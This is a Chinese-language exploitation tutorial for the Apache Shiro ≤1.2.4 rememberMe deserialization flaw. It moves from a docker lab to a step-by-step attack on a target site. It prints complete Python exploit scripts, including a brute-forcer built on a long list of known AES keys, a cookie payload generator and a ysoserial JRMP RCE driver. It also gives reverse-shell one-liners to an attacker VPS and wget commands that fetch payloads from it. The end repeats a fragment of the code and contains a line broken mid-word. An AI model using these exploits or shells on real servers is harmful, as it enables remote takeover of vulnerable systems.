漏洞描述
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
漏洞产生原因:
shiro默认使用了CookieRememberMeManager
,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造
前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie
漏洞影响版本:Apache Shiro <= 1.2.4
shiro特征:
- 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EbM5Vzhw-1617317390951)(img/2019081416401094.png)]
shiro反序列化复现
环境搭建
我们这里使用 docker 搭建环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8gPSlap-1617317390954)(img/20200502103208430.png)]
启动后,访问环境
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ACG7cgab-1617317390957)(img/2020050210331832.png)]
检测目标网站的key值
首先检测目标网站的rememberMe的key值
在DNSlog平台上申请一个子域名,传送门:http://www.dnslog.cn/
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dKHhvAMo-1617317390959)(img/20200502134629288.png)]
然后执行以下命令使用 shiro_check_key.py 检测目标网站的rememberMe的key值
python2 shiro_check_key.py http://xx.xx.xx.xx "c39q1d.dnslog.cn"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PWDhcQzV-1617317390961)(img/20200502134724190.png)]
执行完成后,查看DNSLog平台,可以看到key值。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e3nnow9X-1617317390963)(img/20200502134827650.png)]
验证是否有漏洞
然后再申请一个子域名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4FO0TLxv-1617317390964)(img/20200502110754116.png)]
然后使用执行以下命令使用 shiro_poc.py 生成一个 payload.cookie 文件。脚本中的key值根据上面检测的key值来确定
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4eiSUFSV-1617317390966)(img/20200502110743149.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JGHu8tfM-1617317390967)(img/20200502120524299.png)]
访问网站,用正确的用户名密码登陆,记得勾选RememberMe字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d0K9Smr6-1617317390969)(img/20200502122719635.png)]
登陆成功后,抓包,会发现 Cookie 中有 rememberMe 字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k6RwHJli-1617317390971)(img/20200502122825390.png)]
将生成的 payload.cooke 里的内容把Cookie字段全部替换掉。注意:JSESSIONID字段也替换。然后重放
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-el02hHME-1617317390973)(img/20200502110902482.png)]
DNSlog平台接收到请求,说明存在漏洞
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5drWYGXu-1617317390975)(img/20200502110843255.png)]
反弹shell
这里反弹shell的命令需要进行加密才能执行,加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aLhrJsVt-1617317390978)(img/20200502163316529.png)]
然后重新调用shiro_poc.py生成rememberMe的值
python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81Ny4xMTQuMTM5LjI0OS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JIKFmNZi-1617317390979)(img/20200502163353583.png)]
复制生成的rememberMe的值,替换所有的cookie,重放
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qGOi743s-1617317390982)(img/20200502163546634.png)]
nc监听收到shell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S5lxfNCI-1617317390983)(img/20200502163629725.png)]
注:如果目标服务器是Windows环境的话,则不能一键反弹shell,可以先远程下载木马,然后执行。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'
实战记录
环境:
- 我们的公网VPS:114.118.80.138
- 存在漏洞的网站:http://www.test.com
- Windows主机
**第一步:**在我们的VPS上搭建一个web服务,该web服务下放一个反弹shell的脚本文件 1.sh,1.sh的内容如下
bash -i >& /dev/tcp/114.118.80.138/8888 0>&1
python -m SimpleHTTPServer 8080
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JSeXTAbx-1617317390985)(img/20190803230317360.png)]
**第二步:**然后在我们的VPS上执行下列命令,意思是下载我们的1.sh,并且重命名为test
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget http://114.118.80.138:8080/1.sh -O test'
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m2Qn1Gjl-1617317390986)(img/20190803231126943.png)]
**第三步:**然后在我们的windows机器上执行shiro_rce.py脚本,这样,就会在目前机器上下载 http://114.118.80.138:8080/1.sh 文件,并且命名为test。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tShJ9eDO-1617317390987)(img/20190803231142496.png)]
前面三步的目的是将我们的1.sh脚本下载到目标机器上,并且重命名为test。
第四步:我们在VPS上监听8888端口
**第五步:**并且在我们的VPS上运行下面命令,意思是执行目标机器上的刚刚下载的test脚本
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'sh test'
**第六步:**然后再次在windows机器上执行shiro_rce.py脚本,这样,我们nc就可以收到目标机器反弹的shell了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IZAPBLXY-1617317390989)(img/20190803231837768.png)]
以下是 shiro_check_key.py文件的内容
#codeing:utf-8
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
import requests
import time
cookies = {}
headers = {
'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7',
}
def encode_rememberme(command,key):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
keylist = ['kPH+bIxk5D2deZiIxcaaaA==',
'wGiHplamyXlVB11UXWol8g==',
'2AvVhdsgUs0FSA3SDFAdag==',
'4AvVhmFLUs0KTA3Kprsdag==',
'3AvVhmFLUs0KTA3Kprsdag==',
'Z3VucwAAAAAAAAAAAAAAAA==',
'U3ByaW5nQmxhZGUAAAAAAA==',
'wGiHplamyXlVB11UXWol8g==',
'fCq+/xW488hMTCD+cmJ3aQ==',
'1QWLxg+NYmxraMoxAXu/Iw==',
'ZUdsaGJuSmxibVI2ZHc9PQ==',
'L7RioUULEFhRyxM7a2R/Yg==',
'6ZmI6I2j5Y+R5aSn5ZOlAA==',
'r0e3c16IdVkouZgk1TKVMg==',
'5aaC5qKm5oqA5pyvAAAAAA==',
'bWluZS1hc3NldC1rZXk6QQ==',
'a2VlcE9uR29pbmdBbmRGaQ==',
'WcfHGU25gNnTxTlmJMeSpw==',
'MTIzNDU2Nzg5MGFiY2RlZg==',
'5AvVhmFLUs0KTA3Kprsdag==',
'6ZmI6I2j3Y+R1aSn5BOlAA==',
'SkZpbmFsQmxhZGUAAAAAAA==',
'2cVtiE83c4lIrELJwKGJUw==',
'fsHspZw/92PrS3XrPW+vxw==',
'XTx6CKLo/SdSgub+OPHSrw==',
'sHdIjUN6tzhl8xZMG3ULCQ==',
'O4pdf+7e+mZe8NyxMTPJmQ==',
'f/SY5TIve5WWzT4aQlABJA==',
'HWrBltGvEZc14h9VpMvZWw==',
'rPNqM6uKFCyaL10AK51UkQ==',
'Y1JxNSPXVwMkyvES/kJGeQ==',
'lT2UvDUmQwewm6mMoiw4Ig==',
'MPdCMZ9urzEA50JDlDYYDg==',
'xVmmoltfpb8tTceuT5R7Bw==',
'c+3hFGPjbgzGdrC+MHgoRQ==',
'ClLk69oNcA3m+s0jIMIkpg==',
'Bf7MfkNR0axGGptozrebag==',
'1tC/xrDYs8ey+sa3emtiYw==',
'ZmFsYWRvLnh5ei5zaGlybw==',
'cGhyYWNrY3RmREUhfiMkZA==',
'IduElDUpDDXE677ZkhhKnQ==',
'yeAAo1E8BOeAYfBlm4NG9Q==',
'cGljYXMAAAAAAAAAAAAAAA==',
'2itfW92XazYRi5ltW0M2yA==',
'XgGkgqGqYrix9lI6vxcrRw==',
'25BsmdYwjnfcWmnhAciDDg==',
'ertVhmFLUs0KTA3Kprsdag==',
'5AvVhmFLUS0ATA4Kprsdag==',
's0KTA3mFLUprK4AvVhsdag==',
'hBlzKg78ajaZuTE0VLzDDg==',
'9FvVhtFLUs0KnA3Kprsdyg==',
'd2ViUmVtZW1iZXJNZUtleQ==',
'yNeUgSzL/CfiWw1GALg6Ag==',
'NGk/3cQ6F5/UNPRh8LpMIg==',
'4BvVhmFLUs0KTA3Kprsdag==',
'kPH+bIxk5D2deZiIxcaaaA==',
'4AvVhmFLUs0KTA3Kprsdag==',
'Z3VucwAAAAAAAAAAAAAAAA==',
'fCq+/xW488hMTCD+cmJ3aQ==',
'0AvVhmFLUs0KTA3Kprsdag==',
'1AvVhdsgUs0FSA3SDFAdag==',
'1QWLxg+NYmxraMoxAXu/Iw==',
'25BsmdYwjnfcWmnhAciDDg==',
'2AvVhdsgUs0FSA3SDFAdag==',
'3AvVhmFLUs0KTA3Kprsdag==',
'3JvYhmBLUs0ETA5Kprsdag==',
'r0e3c16IdVkouZgk1TKVMg==',
'5aaC5qKm5oqA5pyvAAAAAA==',
'5AvVhmFLUs0KTA3Kprsdag==',
'6AvVhmFLUs0KTA3Kprsdag==',
'6NfXkC7YVCV5DASIrEm1Rg==',
'6ZmI6I2j5Y+R5aSn5ZOlAA==',
'cmVtZW1iZXJNZQAAAAAAAA==',
'7AvVhmFLUs0KTA3Kprsdag==',
'8AvVhmFLUs0KTA3Kprsdag==',
'8BvVhmFLUs0KTA3Kprsdag==',
'9AvVhmFLUs0KTA3Kprsdag==',
'OUHYQzxQ/W9e/UjiAGu6rg==',
'a3dvbmcAAAAAAAAAAAAAAA==',
'aU1pcmFjbGVpTWlyYWNsZQ==',
'bWljcm9zAAAAAAAAAAAAAA==',
'bWluZS1hc3NldC1rZXk6QQ==',
'bXRvbnMAAAAAAAAAAAAAAA==',
'ZUdsaGJuSmxibVI2ZHc9PQ==',
'wGiHplamyXlVB11UXWol8g==',
'U3ByaW5nQmxhZGUAAAAAAA==',
'MTIzNDU2Nzg5MGFiY2RlZg==',
'L7RioUULEFhRyxM7a2R/Yg==',
'a2VlcE9uR29pbmdBbmRGaQ==',
'WcfHGU25gNnTxTlmJMeSpw==',
'OY//C4rhfwNxCQAQCrQQ1Q==',
'5J7bIJIV0LQSN3c9LPitBQ==',
'f/SY5TIve5WWzT4aQlABJA==',
'bya2HkYo57u6fWh5theAWw==',
'WuB+y2gcHRnY2Lg9+Aqmqg==',
'3qDVdLawoIr1xFd6ietnwg==',
'YI1+nBV//m7ELrIyDHm6DQ==',
'6Zm+6I2j5Y+R5aS+5ZOlAA==',
'2A2V+RFLUs+eTA3Kpr+dag==',
'6ZmI6I2j3Y+R1aSn5BOlAA==',
'SkZpbmFsQmxhZGUAAAAAAA==',
'2cVtiE83c4lIrELJwKGJUw==',
'fsHspZw/92PrS3XrPW+vxw==',
'XTx6CKLo/SdSgub+OPHSrw==',
'sHdIjUN6tzhl8xZMG3ULCQ==',
'O4pdf+7e+mZe8NyxMTPJmQ==',
'HWrBltGvEZc14h9VpMvZWw==',
'rPNqM6uKFCyaL10AK51UkQ==',
'Y1JxNSPXVwMkyvES/kJGeQ==',
'lT2UvDUmQwewm6mMoiw4Ig==',
'MPdCMZ9urzEA50JDlDYYDg==',
'xVmmoltfpb8tTceuT5R7Bw==',
'c+3hFGPjbgzGdrC+MHgoRQ==',
'ClLk69oNcA3m+s0jIMIkpg==',
'Bf7MfkNR0axGGptozrebag==',
'1tC/xrDYs8ey+sa3emtiYw==',
'ZmFsYWRvLnh5ei5zaGlybw==',
'cGhyYWNrY3RmREUhfiMkZA==',
'IduElDUpDDXE677ZkhhKnQ==',
'yeAAo1E8BOeAYfBlm4NG9Q==',
'cGljYXMAAAAAAAAAAAAAAA==',
'2itfW92XazYRi5ltW0M2yA==',
'XgGkgqGqYrix9lI6vxcrRw==',
'ertVhmFLUs0KTA3Kprsdag==',
'5AvVhmFLUS0ATA4Kprsdag==',
's0KTA3mFLUprK4AvVhsdag==',
'hBlzKg78ajaZuTE0VLzDDg==',
'9FvVhtFLUs0KnA3Kprsdyg==',
'd2ViUmVtZW1iZXJNZUtleQ==',
'yNeUgSzL/CfiWw1GALg6Ag==',
'NGk/3cQ6F5/UNPRh8LpMIg==',
'4BvVhmFLUs0KTA3Kprsdag==',
'MzVeSkYyWTI2OFVLZjRzZg==',
'empodDEyMwAAAAAAAAAAAA==',
'A7UzJgh1+EWj5oBFi+mSgw==',
'c2hpcm9fYmF0aXMzMgAAAA==',
'i45FVt72K2kLgvFrJtoZRw==',
'U3BAbW5nQmxhZGUAAAAAAA==',
'ZnJlc2h6Y24xMjM0NTY3OA==',
'Jt3C93kMR9D5e8QzwfsiMw==',
'MTIzNDU2NzgxMjM0NTY3OA==',
'vXP33AonIp9bFwGl7aT7rA==',
'V2hhdCBUaGUgSGVsbAAAAA==',
'Z3h6eWd4enklMjElMjElMjE=',
'Q01TX0JGTFlLRVlfMjAxOQ==',
'ZAvph3dsQs0FSL3SDFAdag==',
'Is9zJ3pzNh2cgTHB4ua3+Q==',
'NsZXjXVklWPZwOfkvk6kUA==',
'GAevYnznvgNCURavBhCr1w==',
'66v1O8keKNV3TTcGPK1wzg==',
'SDKOLKn2J1j/2BHjeZwAoQ==',
'N3ghQSVEKkctSmFOZFJnVQ==']
proxy = {
"http": "http://127.0.0.1:8000",
"https": "https://127.0.0.1:8000",
}
data = '{"domain":"","locale":"en","username":"asdasd","password":"asdsad"}'
for key in keylist:
print("http://"+key.replace('==','').replace('/','')+'.'+sys.argv[2])
cookie = encode_rememberme("http://"+key.replace('==','').replace('/','')+'.'+sys.argv[2],key)
cookies['rememberMe'] = cookie
requests.get(sys.argv[1],headers=headers, cookies=cookies,verify=False,timeout=15)
以下是shiro_poc.py文件的内容
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=sub
process.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
以下是shiro_rce.py文件的内容:
#coding: utf-8
import os
import re
import time
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
#JAR_FILE = 'ysoserial-master-SNAPSHOT.jar'
JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar'
keys = ['Z3VucwAAAAAAAAAAAAAAAA==','kPH+bIxk5D2deZiIxcaaaA==','4AvVhmFLUs0KTA3Kprsdag==','3AvVhmFLUs0KTA3Kprsdag==','2AvVhdsgUs0FSA3SDFAdag==','wGiHplamyXlVB11UXWol8g==','fCq+/xW488hMTCD+cmJ3aQ==','1QWLxg+NYmxraMoxAXu/Iw==','ZUdsaGJuSmxibVI2ZHc9PQ==','L7RioUULEFhRyxM7a2R/Yg== ','6ZmI6I2j5Y+R5aSn5ZOlAA==','r0e3c16IdVkouZgk1TKVMg==','ZWvohmPdUsAWT3=KpPqda','5aaC5qKm5oqA5pyvAAAAAA==','bWluZS1hc3NldC1rZXk6QQ==','a2VlcE9uR29pbmdBbmRGaQ==','WcfHGU25gNnTxTlmJMeSpw==','LEGEND-CAMPUS-CIPHERKEY==','3AvVhmFLUs0KTA3Kprsdag==']
lis = ["BeanShell1","C3P0","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","FileUpload1","Groovy1","Hibernate1","Hibernate2","JBossInterceptors1","JRMPClient","JRMPListener","JSON1","JavassistWeld1","Jdk7u21","Jython1","MozillaRhino1","Myfaces1","Myfaces2","ROME","Spring1","Spring2","URLDNS","Wicket1",]
#keys = ['4AvVhmFLUs0KTA3Kprsdag==','']
def poc(url, rce_command,key,func):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE,key,func) # 生成payload
#print payload
print payload.decode()
#exit()
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10,verify=False) # 发送验证请求
except Exception, e:
print(e)
pass
return False
def generator(command, fp,aeskey,func):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp,func, command],stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = aeskey
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
poc('http://www.test.com','114.118.80.138:12345',keys[1],'JRMPClient') #www.test.com替换成目标主机的链接,114.118.80.138替换成自己VPS的地址
) * chr(BS - len(s) % BS)).encode()
key = aeskey
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
poc(‘http://www.test.com’,‘114.118.80.138:12345’,keys[1],‘JRMPClient’) #www.test.com替换成目标主机的链接,114.118.80.138替换成自己VPS的地址
注意:windows机器上和VPS机器上均要有ysoserial-0.0.6-SNAPSHOT-all.jar文件,并且windows机器上的ysoserial-0.0.6-SNAPSHOT-all.jar要和shiro_rce.py文件在同一目录。并且windows机器上还需要装一个pycrypto库包,该库包是Crypto.Cipher的包。